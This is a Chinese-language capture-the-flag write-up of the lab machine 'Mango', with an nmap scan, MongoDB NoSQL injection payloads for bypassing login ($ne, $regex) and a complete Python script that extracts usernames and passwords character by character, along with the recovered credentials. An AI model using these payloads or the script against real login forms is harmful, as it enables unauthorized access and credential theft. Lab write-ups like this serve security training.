信息收集

IP Address	Opening Ports
10.10.10.162	TCP:22，80，443

$ nmap -p- 10.10.10.162 --min-rate 1000 -sC -sV

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Mango | Search Base
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

MongoDB 注入

# echo '10.10.10.162 mango.htb staging-order.mango.htb'>>/etc/hosts

staging-order.mango.htb

注入引号不会返回错误或改变响应。由于网站运行的是 PHP，我们可以尝试通过类型转换绕过认证。这可以通过在请求参数中添加 [] 来实现，使 PHP 将这些参数作为数组处理。如果存在某种弱比较，这将绕过认证。

然而，这次尝试也失败了。接下来，我们可以尝试 NoSQL 注入攻击，比如 MongoDB 认证绕过。MongoDB 使用 $ne（不等于）运算符来比较值。这个运算符可以通过数组语法传递给 PHP，最终注入到 MongoDB 查询中。

示例:

db.users.find({ username: "admin", password: "admin" });

注入payload为

db.users.find({ username: "admin", password: {$ne:"admin"} });

username=admin&password[$ne]=admin&login=login

重定向到home.php页面

由于首页没有返回任何有用的信息，我们可以尝试使用 MongoDB 的 $regex运算符从数据库中提取数据。$regex运算符允许通过正则表达式来查找数据。例如，以下查询将搜索匹配正则表达式 a.* 的用户名，这个正则表达式匹配任何包含字母 a 的用户名：

db.users.find({username: { $regex : "a.*", password: { $ne : "admin" } });

username[$regex]=a.*&password[$ne]=admin&login=login

username[$regex]=1.*&password[$ne]=admin&login=login

# exp.py
# @Maptnh
import re
from requests import post
from string import ascii_lowercase, ascii_uppercase, digits, punctuation

url = 'http://staging-order.mango.htb/'

class Colors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def get_characters():
    """Identify potential username and password characters."""
    charset = ascii_lowercase + ascii_uppercase + digits
    found_chars = []

    for char in charset:
        response = post(url, data={
            'username[$regex]': f'^{char}.*',
            'password[$ne]': 'password',
            'login': 'login'
        }, allow_redirects=False)
        if response.status_code == 302:
            found_chars.append(char)
            print(f"{Colors.OKGREEN}[+] Found character: {char}{Colors.ENDC}")

    return found_chars

def build_usernames(chars):
    """Build usernames from identified characters."""
    print(f"{Colors.WARNING}[*] Building usernames...{Colors.ENDC}")
    charset = ascii_lowercase + ascii_uppercase + digits
    usernames = []

    for char in chars:
        username = char
        while True:
            found_char = False
            for next_char in charset:
                regex = f'^{username + next_char}.*'
                response = post(url, data={
                    'username[$regex]': regex,
                    'password[$ne]': 'password',
                    'login': 'login'
                }, allow_redirects=False)
                if response.status_code == 302:
                    username += next_char
                    found_char = True
                    print(f"{Colors.OKGREEN}[+] Found character '{next_char}' for username: {username}{Colors.ENDC}")
                    break

            if not found_char:
                break
        
        usernames.append(username)
        print(f"{Colors.OKGREEN}[+] Found username: {username}{Colors.ENDC}")

    return usernames

def escape_special_characters(s):
    """Escape special characters in the string for regex."""
    return re.escape(s)

def find_passwords(usernames):
    """Attempt to find passwords for each identified username."""
    print(f"{Colors.WARNING}[*] Finding passwords for users...{Colors.ENDC}")
    charset = ascii_lowercase + ascii_uppercase + digits + punctuation
    results = []

    for user in usernames:
        password = ''
        while True:
            found_char = False
            for char in charset:
                escaped_password = escape_special_characters(password + char)
                response = post(url, data={
                    'username': user,
                    'password[$regex]': f'^{escaped_password}.*',
                    'login': 'login'
                }, allow_redirects=False)
                if response.status_code == 302:
                    password += char
                    found_char = True
                    print(f"{Colors.OKGREEN}[+] Found character '{char}' for password: {password}{Colors.ENDC}")
                    break

            if not found_char:
                break

        results.append((user, password))
        print(f"{Colors.OKGREEN}[+] Password found for user {user}: {password}{Colors.ENDC}")

    return results

def print_results(results):
    """Print the results in a table format."""
    print(f"{Colors.HEADER}\n[+] Final results:{Colors.ENDC}")
    print(f"{Colors.BOLD}{'Username':<20} {'Password':<20}{Colors.ENDC}")
    print(f"{'='*40}")
    for user, password in results:
        print(f"{user:<20} {password:<20}")

if __name__ == '__main__':
    chars = get_characters()
    usernames = build_usernames(chars)
    results = find_passwords(usernames)
    print_results(results)

$ python3 exp.py

Username             Password            
========================================
admin                t9KcS3>!0B#2        
mango                h3mXK8RhU~f{]f5H